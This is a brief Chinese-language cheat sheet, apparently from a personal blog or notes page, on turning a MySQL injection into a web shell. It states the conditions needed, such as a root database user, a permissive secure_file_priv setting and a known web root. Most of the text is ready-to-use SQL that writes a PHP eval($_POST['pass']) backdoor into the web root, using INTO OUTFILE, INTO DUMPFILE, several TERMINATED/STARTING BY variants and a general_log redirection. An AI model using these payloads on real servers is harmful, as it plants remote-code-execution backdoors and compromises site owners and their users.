MYSQL注入 GETSHELL

1
2
3
4
5

1.mysql用户为root
2.secure_file_priv=为空或者在网站根目录下（网站根目录为d:www，secure_file_priv=d:也可以）
3.有绝对路径
4.gpc关闭，这个应该是php的，会转义单引号，选择路径的时候一定需要单引号
5.有create,insert,select权限(一般root用户都有吧..感觉不用特意写出来)

1

show global variables like '%secure_file_priv%';	#查看可以写入的位置

1

select * from users where id=-1 union select 1,2,'<?php eval($_POST['pass']); ?>' into outfile 'D:\phpstudy_pro\WWW\shell.php';

1

select * from users where id=1 into outfile 'D:\phpstudy_pro\WWW\shell.php' lines terminated by '<?php eval($_POST['pass']); ?>';

1

select * from users where id=1 into outfile 'D:\phpstudy_pro\WWW\shell.php' lines starting by '<?php eval($_POST['pass']); ?>';

1

select * from users where id=1 into outfile 'D:\phpstudy_pro\WWW\shell.php' fields terminated by '<?php eval($_POST['pass']); ?>';

1

select * from users where id=1 into outfile 'D:\phpstudy_pro\WWW\shell.php' COLUMNS terminated by '<?php eval($_POST['pass']); ?>';

1

select * from users where id=-1 union select '','','<?php eval($_POST['pass']); ?>' into dumpfile 'D:\phpstudy_pro\WWW\shell.php';

1

select * from users where id=1 union select 1,2,'<?php eval($_POST['pass']); ?>' into dumpfile 'D:\phpstudy_pro\WWW\shell.php';

1
2
3

show variables like '%general%';
set global general_log = on;		#开启日志
set global general_log_file = 'D:\phpstudy_pro\WWW\shell.php';		#设置日志路径